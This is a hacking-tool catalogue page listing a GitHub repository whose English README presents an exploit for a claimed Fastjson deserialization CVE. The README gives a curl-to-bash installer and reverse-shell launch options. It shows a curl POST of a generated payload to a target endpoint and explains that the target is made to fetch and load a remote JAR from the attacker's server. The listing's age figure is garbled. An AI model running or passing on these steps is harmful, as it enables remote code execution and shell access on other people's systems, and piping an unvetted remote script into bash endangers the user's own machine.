Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-16723 — A critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83. | Kitploit
Инструменты/GitHubGitHub/1xpwn/cve-2026-16723
Payload GenerationExploitationWeb Application ExploitationPenetration Testing
GitHub1xpwn/cve-2026-16723

CVE-2026-16723

A critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83.

Репозиторий
21323 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Контент недоступен на запрошенном языке. Показываем английскую версию.

CVE-2026-16723 Exploit

A standalone C++17 implementation for CVE-2026-16723, a critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83.

Requirements

  • Linux (or WSL on Windows)

  • C++17 compatible compiler (GCC 7+ or Clang 5+)

  • CMake 3.10 or newer

  • System packages:

    • libzip-dev
  • zlib1g-dev
  • Debian / Ubuntu

    root@kitploit:~
    sudo apt update
    sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
    

    Installation

    Quick Install (Recommended)

    Install everything with a single command:

    root@kitploit:~
    curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash
    

    Or download and execute the installer manually:

    root@kitploit:~
    wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
    chmod +x install.sh
    ./install.sh
    

    The installation script will:

    • Install all required system packages.

    • Download the required header-only libraries:

      • nlohmann/json
      • cpp-httplib
    • Build the project.

    • Place the compiled binary in the current directory as:

    root@kitploit:~
    ./exploit
    

    Manual Build

    If you cloned the repository:

    root@kitploit:~
    git clone https://github.com/1xPwn/CVE-2026-16723.git
    cd CVE-2026-16723
    ./install.sh
    

    Or build manually:

    root@kitploit:~
    mkdir build
    cd build
    
    cmake ..
    make -j$(nproc)
    
    cp exploit ../
    

    Usage

    Run the binary:

    root@kitploit:~
    ./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
    

    Example

    root@kitploit:~
    ./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
    

    After execution the following files will be created:

    root@kitploit:~
    x
    body.json
    

    The HTTP server will start on the configured port (default: 8000) and the tool will wait for an incoming reverse shell connection.


    Sending the Payload

    Send the generated body.json file to the vulnerable endpoint:

    root@kitploit:~
    curl -X POST http://<TARGET_IP>:8080/api/products/search \
         -H "Content-Type: application/json" \
         --data-binary @body.json
    

    If the application expects a different JSON field, specify it using the --field option.


    Command-Line Options

    OptionDescriptionDefault
    --lhostLocal IP addressRequired
    --lportReverse shell listening port4444
    --http-portHTTP server port8000
    --firstFirst file descriptor to try3
    --lastLast file descriptor to try30
    --fieldJSON field namefacets
    --outdirOutput directory.
    -h, --helpShow help message—

    Output Files

    FileDescription
    xGenerated JAR payload
    body.jsonJSON payload to send to the target

    Notes

    • This project is intended only for authorized security testing and educational purposes.
    • The implementation forces the target application to download and load a remote JAR using the jar:http and jar:file protocols.
    • The reverse shell command is Base64-encoded to reduce escaping issues.

    Follow Me on Twitter(X)

    • MNM
    Скачать инструмент